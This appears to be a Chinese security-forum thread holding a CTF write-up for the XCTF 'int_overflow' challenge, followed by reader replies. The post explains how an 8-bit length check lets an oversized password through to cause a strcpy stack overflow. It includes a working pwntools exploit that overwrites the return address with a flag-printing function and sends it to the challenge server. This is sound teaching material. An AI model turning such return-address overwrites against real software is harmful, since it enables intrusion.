吾愛破解 - LCG - LSG |安卓破解|病毒分析|破解軟件|www.aejguz.icu

 找回密碼
 注冊[Register]

QQ登錄

只需一步,快速開始

搜索
查看: 1263|回復: 12
上一主題 下一主題

[CTF] XCTF攻防世界int_overflow

  [復制鏈接]
跳轉到指定樓層
樓主
yaoyao7 發表于 2019-10-2 19:20 回帖獎勵
本帖最后由 yaoyao7 于 2019-10-3 11:17 編輯

int_overflow題解
首先,進行程序基本信息檢查:




沒有canary,沒有PIE。程序執行是先選擇一個子流程,然后輸入username,再輸入passwd。這里要考慮程序是否會對輸入的字符串的長度進行限制,先留心一下。
IDA查看一下源碼:
- 首先看一下strings:



    有收獲,存在幾個危險函數,而且存在"cat flag",可以考慮直接調用。- 進main函數看一下:




沒有發現什么大問題,直接進login。




需要留心一下,username和passwd都做了最大長度限制。但是passwd的長度未免太長了吧。。。太可疑。- 進入check_passwd查看對passwd的處理:




到這里就很明顯了,函數首先設定了v3變量,但是大小只有一個字節,共8bit。前面對passwd進行長度限制時,最大長度為0x199,這很明顯一個字節存儲不下。那么會發生什么呢?整數溢出。(后續會給出整數溢出的相關知識介紹)
輸入的passwd的長度給到v3,進行判斷,因為存在整數溢出,所以這里輸入的字符的個數不管是3~8還是259~264都是可以通過驗證的。再往下,使用strcpy將passwd拷貝進stack中,stack中給出的保存passwd的大小為0x14 :


  

如果輸入的passwd的字符個數超過了0x14,那么就會覆蓋到stack中的內容。
- 覆蓋數據計算:
    思路已經確定,利用整數溢出漏洞來輸入大量的passwd字符造成棧溢出。具體長度只要在259~264之間即可。此處選擇262。看一下匯編確認具體的填充數據結構:


   
        

    從匯編代碼中可以看到,想要覆蓋到返回地址,先使用0x14 個數據覆蓋stack拷貝的passed的內存區域,然后使用4字節數據覆蓋ebp,再使用"cat flag"的地址覆蓋返回地址,最后接上262剩余的數據即可。


   

    所以payload的構成為:
    payload = "A"*0x14 +"AAAA"+ P32(cat_flag_addr) + "A"*234(262-0x14-4-4)   



EXP:
[Python] 純文本查看 復制代碼
from pwn import *

sh=remote('111.198.29.45',44241)

sh.sendlineafter("choice:","1")
sh.sendlineafter("username:\n","xctf")

cat_flag_addr = 0x08048694
payload = "A" * 0x14 + "AAAA" + p32(cat_flag_addr) + "A" * 234

sh.sendlineafter("passwd:\n",payload)
print sh.recvall()

執行結果



整數溢出的相關知識
整數分為有符號和無符號兩種類型,有符號數以最高位作為其符號位,即正整數 最高位為0,負數為1,無符號數取值范圍為非負數,常見各類型占用字節數如下:



對于unsigned short int類型的數據,var1 = 1,var2 = 65537,用計算器看一下:




65537會發生高位截斷,截斷之后最高位的1被舍棄,這樣數據就變成了1。使用代碼驗證一下:
[C] 純文本查看 復制代碼
#include <stdio.h>
int main(){
    unsigned short int a = 1;
    unsigned short int b = 65537;
    if(a == b){
        printf("Int overflow sucssesfully!\n");
    }
    return 0;
}

編譯運行之后如下:





也就是說,對于一個2字節的unsigned short int 型變量,它的有效數據長度為2個字節,當它的數據長度超過2個字節時,就發生溢出,溢出的部分則直接忽略。使用相關變量時,使用的數據僅為最后2個字節,因此就會出現65537等于1的情況,其他類型變量和數值與之類似,更為詳細的說明可以參考ctf-all-in-one。






免費評分

參與人數 4吾愛幣 +2 熱心值 +4 收起 理由
毛新航 + 1 [email protected]
道韻三千 + 1 熱心回復!
超能小虎 + 1 + 1 [email protected]
SKnight + 1 + 1 用心討論,共獲提升!

查看全部評分

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
zjg1727 發表于 2019-10-3 08:30
更正一個錯誤。

整數分為有符號和無符號兩種類型,有符號數以最高位作為其符號位,即正整數 最高位為1,負數為0,

->
     有符號數以最高位作為其符號位,最高位為0時是正數,為1時為負數    吧?
推薦
 樓主| yaoyao7 發表于 2019-10-3 11:18 <
沙發
o651560441 發表于 2019-10-2 20:03
這些樓主分享,小白只能多努力了!希望有一天有大神你的技術
3#
xiaocaiyun 發表于 2019-10-2 20:06
謝謝啦!看看學習
4#
寧逍遙 發表于 2019-10-2 20:39
吾愛大神多,小白來膜拜
5#
學士天下 發表于 2019-10-2 20:48
哇!!!國慶都不休息,國慶快樂啊!!!
6#
lep52 發表于 2019-10-2 21:18
學習一下
8#
wqs0987 發表于 2019-10-3 08:42
雖然看不懂,但覺得很牛氣!
9#
Sunn11y 發表于 2019-10-3 08:45
學習一下~
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:禁止回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|吾愛破解 - LCG - LSG ( 京ICP備16042023號 | 京公網安備 11010502030087號 )

GMT+8, 2019-10-12 03:31

Powered by Discuz!

© 2001-2017 Comsenz Inc.

快速回復 返回頂部 返回列表
宝盈娱乐平台